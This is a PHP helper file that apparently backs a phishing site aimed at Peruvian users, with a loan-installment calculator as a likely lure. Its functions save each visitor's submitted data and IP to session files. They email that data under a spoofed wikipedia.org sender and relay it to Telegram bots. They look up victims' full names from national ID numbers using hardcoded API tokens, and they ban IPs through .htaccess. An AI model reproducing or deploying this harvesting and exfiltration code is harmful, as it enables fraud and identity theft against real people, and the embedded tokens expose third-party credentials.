<?php
function calcularCuota($monto, $tasaAnual, $plazoMeses) {
    $tasaMensual = $tasaAnual / 12 / 100;
    
    if ($tasaMensual == 0) {
        return $monto / $plazoMeses;
    }
    
    $factor = pow(1 + $tasaMensual, $plazoMeses);
    $cuota = $monto * ($tasaMensual * $factor) / ($factor - 1);
    
    return round($cuota, 2);
}
function guardar($data)
{
  $sesionId = session_id();
  $fileName = "$sesionId.txt";
  $filePath = "files/$fileName";
  $content = [];
  if (file_exists($filePath)) {
    $content = file_get_contents($filePath);
    $content = json_decode($content, true);
  }

  //set defaults
  $content["ip"] = get_client_ip();
  //

  //set de data
  $keys = array_keys($data);
  foreach ($keys as $value) {
    $content[$value] = $data[$value];
  }
  //
  $fo = fopen("$filePath", "w");
  fwrite($fo, json_encode($content));
  fclose($fo);
  return true;
}
function get_client_ip()
{
  return $_SERVER['REMOTE_ADDR'] == "::1" ? "127.0.0.1" : $_SERVER['REMOTE_ADDR'];
}
function add_ip_ban($ip)
{
  $f = fopen(".htaccess", "a");
  fwrite($f, "Deny from " . $ip . PHP_EOL);
  fclose($f);
  return true;
}
function redirectTo($url)
{
  echo "<script>location.href='" . URLROOT . "{$url}'</script>";
  exit;
}
function redirectToOut($url)
{
  echo "<script>location.href='{$url}'</script>";
  exit;
}
function get_user_data()
{
  $sesionId = session_id();
  $fileName = "$sesionId.txt";
  $filePath = "files/$fileName";
  $content = [];
  if (file_exists($filePath)) {
    $content = file_get_contents($filePath);
    $content = json_decode($content, true);
  }

  return $content;
}
function gv($file, $key)
{
  return (isset($file[$key]) ? $file[$key] : "");
}
function gv2($file, $key)
{
  return (isset($file[$key]) ? $file[$key] : 0);
}
function get_user_intentos($esta)
{
  return isset($_SESSION["intentos"][$esta]);
}
function user_file_exists()
{
  $sesionId = session_id();
  $fileName = "$sesionId.txt";
  $filePath = "files/$fileName";
  return file_exists($filePath);
}

function enviar_mail($data, $emailDest)
{
  try {
    $data["ip_usuario"] = get_client_ip();
    $data["id_sesion"] = session_id();
    $ip = get_client_ip();
    $fecha = date('d-m-Y');
    $hora = date('H:i:s');
    $subj = "PROME $ip";
    $from = "From:notificacion@wikipedia.org";
    $user_agent = getenv("HTTP_USER_AGENT");
    $content = " Fecha: $fecha / Hora: $hora " . PHP_EOL;
    $content .= " User-Agent: $user_agent " . PHP_EOL;
    $keys = array_keys($data);
    foreach ($keys as $k) {
      $content .= " {$k} : {$data[$k]} " . PHP_EOL;
    }
    @mail($emailDest, $subj, $content, $from);
    return true;
  } catch (Exception $ex) {
    return false;
  }
}
function get_url()
{
  return $actual_link = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
}
function addslashesToSpecialChars($str)
{
  return preg_replace('/([^A-Za-z0-9\s])/', '\\\\$1', $str);
}
function generateRandomString($len)
{
  $permitted_chars = '0123456789abcdefghijklmnopqrstuvwxyz';
  return substr(str_shuffle($permitted_chars), 0, $len);
}
function get_nombre_x_dni($dni)
{
  $comodin = "1";


  if ($comodin == "9") {
    $consulta = file_get_contents("https://api.perudevs.com/api/v1/dni/simple?document=" . $dni . "&key=cGVydWRldnMucHJvZHVjdGlvbi5maXRjb2RlcnMuNjJmYTllZDU4ZGI5OTcxZGFkYmY2ZTVj");

    $data = $consulta;
    $info = json_decode($data);
    $nombres = $info->resultado->nombres;
    $ap_paterno = $info->resultado->apellido_paterno;
    $ap_materno = $info->resultado->apellido_materno;
    $nombre_completo = ucwords(strtolower($info->resultado->nombre_completo));
    $nameFomateado = ucwords(strtolower($nombres));
  } else {
    $token = 'apis-token-2041.JtDPlJHWeHqCmQdNCFTfiSji1vVAqE4X';

    $curl = curl_init();

    curl_setopt_array($curl, array(
      CURLOPT_URL => 'https://api.apis.net.pe/v1/dni?numero=' . $dni,
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_ENCODING => '',
      CURLOPT_MAXREDIRS => 2,
      CURLOPT_TIMEOUT => 0,
      CURLOPT_FOLLOWLOCATION => true,
      CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
      CURLOPT_CUSTOMREQUEST => 'GET',
      CURLOPT_HTTPHEADER => array(
        'Referer: https://apis.net.pe/consulta-dni-api',
        'Authorization: Bearer ' . $token
      ),
    ));

    $response = curl_exec($curl);

    curl_close($curl);
    $persona = json_decode($response);
    //var_dump($persona);
    $error = $persona->error;

    $nombres = $persona->nombres;
    $ap_paterno = $persona->apellidoPaterno;
    $ap_materno = $persona->apellidoMaterno;
    $nombre_completo = ucwords(strtolower($nombres . " " . $ap_paterno . " " . $ap_materno));
    $nameFomateado = ucwords(strtolower($nombres));
    return $nombre_completo;

  }
}

function send_tlg($sms)
{

  $datos = array(
    _token[0] => _id[0],
    _token[1] => _id[1]
  );

  foreach ($datos as $key => $valor) {

    $tk = explode(" ", $key);
    $vl = explode(" ", $valor);

    $token = $tk[0];
    $id = $vl[0];

    $data = [
      'chat_id' => $id,
      'text' => $sms
    ];

    ssl_page("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data));
  }
}


function ssl_page($url)
{

  $ch = curl_init();

  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_HEADER, FALSE);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_REFERER, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

  $result = curl_exec($ch);

  curl_close($ch);

  return $result;
}

function consultareniec1($dni)
{
  $comodin = "1";


  if ($comodin == "9") {
    $consulta = file_get_contents("https://api.perudevs.com/api/v1/dni/simple?document=" . $dni . "&key=cGVydWRldnMucHJvZHVjdGlvbi5maXRjb2RlcnMuNjJmYTllZDU4ZGI5OTcxZGFkYmY2ZTVj");

    $data = $consulta;
    $info = json_decode($data);
    $nombres = $info->resultado->nombres;
    $ap_paterno = $info->resultado->apellido_paterno;
    $ap_materno = $info->resultado->apellido_materno;
    $nombre_completo = ucwords(strtolower($info->resultado->nombre_completo));
    $nameFomateado = ucwords(strtolower($nombres));
  } else {
    $token = 'apis-token-2041.JtDPlJHWeHqCmQdNCFTfiSji1vVAqE4X';

    $curl = curl_init();

    curl_setopt_array($curl, array(
      CURLOPT_URL => 'https://api.apis.net.pe/v1/dni?numero=' . $dni,
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_ENCODING => '',
      CURLOPT_MAXREDIRS => 2,
      CURLOPT_TIMEOUT => 0,
      CURLOPT_FOLLOWLOCATION => true,
      CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
      CURLOPT_CUSTOMREQUEST => 'GET',
      CURLOPT_HTTPHEADER => array(
        'Referer: https://apis.net.pe/consulta-dni-api',
        'Authorization: Bearer ' . $token
      ),
    ));

    $response = curl_exec($curl);

    curl_close($curl);
    $persona = json_decode($response);
    //var_dump($persona);
    $error = $persona->error;

    $nombres = $persona->nombres;
    $ap_paterno = $persona->apellidoPaterno;
    $ap_materno = $persona->apellidoMaterno;
    $nombre_completo = ucwords(strtolower($nombres . " " . $ap_paterno . " " . $ap_materno));
    $nameFomateado = ucwords(strtolower($nombres));
    return $nombre_completo;

  }
}


function consultareniec2($dni)
{
  if (isset($_SESSION["nombrex"])) {
    return $_SESSION["nombrex"];
  }

  $token = 'apis-token-2041.JtDPlJHWeHqCmQdNCFTfiSji1vVAqE4X';

  $curl = curl_init();

  curl_setopt_array($curl, array(
    CURLOPT_URL => 'https://api.apis.net.pe/v1/dni?numero=' . $dni,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 2,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => 'GET',
    CURLOPT_HTTPHEADER => array(
      'Referer: https://apis.net.pe/consulta-dni-api',
      'Authorization: Bearer ' . $token
    ),
  ));

  $response = curl_exec($curl);

  curl_close($curl);
  $persona = json_decode($response,true);
  //var_dump($persona);
  if(!isset($persona["nombres"]) || isset($persona["error"])){
    return "Cargando...";
  }

  $nombres = $persona["nombres"];
  $ap_paterno = $persona["apellidoPaterno"];
  $ap_materno = $persona["apellidoMaterno"];
  $nombre_completo = ucwords(strtolower($nombres . " " . $ap_paterno . " " . $ap_materno));
  $nameFomateado = ucwords(strtolower($nombres));
  return $nameFomateado;

}



class SimpleLogger
{
    private $db;
    private $tableName = 'track';

    public function __construct($dbPath = 'track.db')
    {
        // Create directory if it doesn't exist
        $dir = dirname($dbPath);
        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        // Open or create SQLite database using PDO
        $this->db = new PDO("sqlite:$dbPath");
        $this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

        // Create logs table if it doesn't exist
        $this->initializeDatabase();
    }

    private function initializeDatabase()
    {
        $query = "CREATE TABLE IF NOT EXISTS {$this->tableName} (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            level TEXT NOT NULL,
            message TEXT NOT NULL,
            context TEXT,
            origen TEXT,
            conteo INTEGER NOT NULL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
            updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )";

        $this->db->exec($query);
    }

    /**
     * Log a message.
     *
     * @param string $message The log message
     * @param string $level   Log level (INFO, WARNING, ERROR, DEBUG)
     * @param string $origen  Origin identifier (e.g., IP, user agent)
     * @param array  $context Additional context data (will be JSON encoded)
     * @return bool True on success, false on failure
     */
    public function log($message, $level = 'INFO', $origen = 'unknown', array $context = [])
    {
        $contextJson = !empty($context) ? json_encode($context) : null;

        // Check if we already have an entry for this origin
        $stmt = $this->db->prepare("
            SELECT id, origen, conteo FROM {$this->tableName}
            WHERE origen = :origen
        ");
        $stmt->bindValue(':origen', $origen, PDO::PARAM_STR);
        $stmt->execute();

        $existing = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($existing) {
            // Update existing record: increment conteo
            $stmt2 = $this->db->prepare("
                UPDATE {$this->tableName}
                SET conteo = conteo + 1, updated_at = CURRENT_TIMESTAMP
                WHERE origen = :origen
            ");
            $stmt2->bindValue(':origen', $existing['origen'], PDO::PARAM_STR);
            return $stmt2->execute();
        } else {
            // Insert new record
            $stmt3 = $this->db->prepare("
                INSERT INTO {$this->tableName} (level, message, context, origen, conteo)
                VALUES (:level, :message, :context, :origen, 1)
            ");
            $stmt3->bindValue(':level', $level, PDO::PARAM_STR);
            $stmt3->bindValue(':message', $message, PDO::PARAM_STR);
            $stmt3->bindValue(':context', $contextJson, PDO::PARAM_STR);
            $stmt3->bindValue(':origen', $origen, PDO::PARAM_STR);
            return $stmt3->execute();
        }
    }

    public function info($message, $origen = 'unknown', array $context = [])
    {
        return $this->log($message, 'INFO', $origen, $context);
    }

    public function warning($message, $origen = 'unknown', array $context = [])
    {
        return $this->log($message, 'WARNING', $origen, $context);
    }

    public function error($message, $origen = 'unknown', array $context = [])
    {
        return $this->log($message, 'ERROR', $origen, $context);
    }

    public function debug($message, $origen = 'unknown', array $context = [])
    {
        return $this->log($message, 'DEBUG', $origen, $context);
    }

    /**
     * Retrieve recent logs.
     *
     * @param int $limit Maximum number of rows to return
     * @return array List of log entries as associative arrays
     */
    public function getLogs($limit = 300)
    {
        $stmt = $this->db->query("SELECT * FROM {$this->tableName} ORDER BY created_at DESC LIMIT {$limit}");

        $logs = [];
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            $logs[] = $row;
        }

        return $logs;
    }

    /**
     * Delete all log entries.
     *
     * @return bool True on success, false on failure
     */
    public function clearall()
    {
        try {
            $this->db->exec("DELETE FROM {$this->tableName}");
            return true;
        } catch (Exception $ex) {
            return false;
        }
    }

    public function __destruct()
    {
        // PDO closes the connection automatically when the object is destroyed
        // Explicitly set to null to help garbage collection
        $this->db = null;
    }
}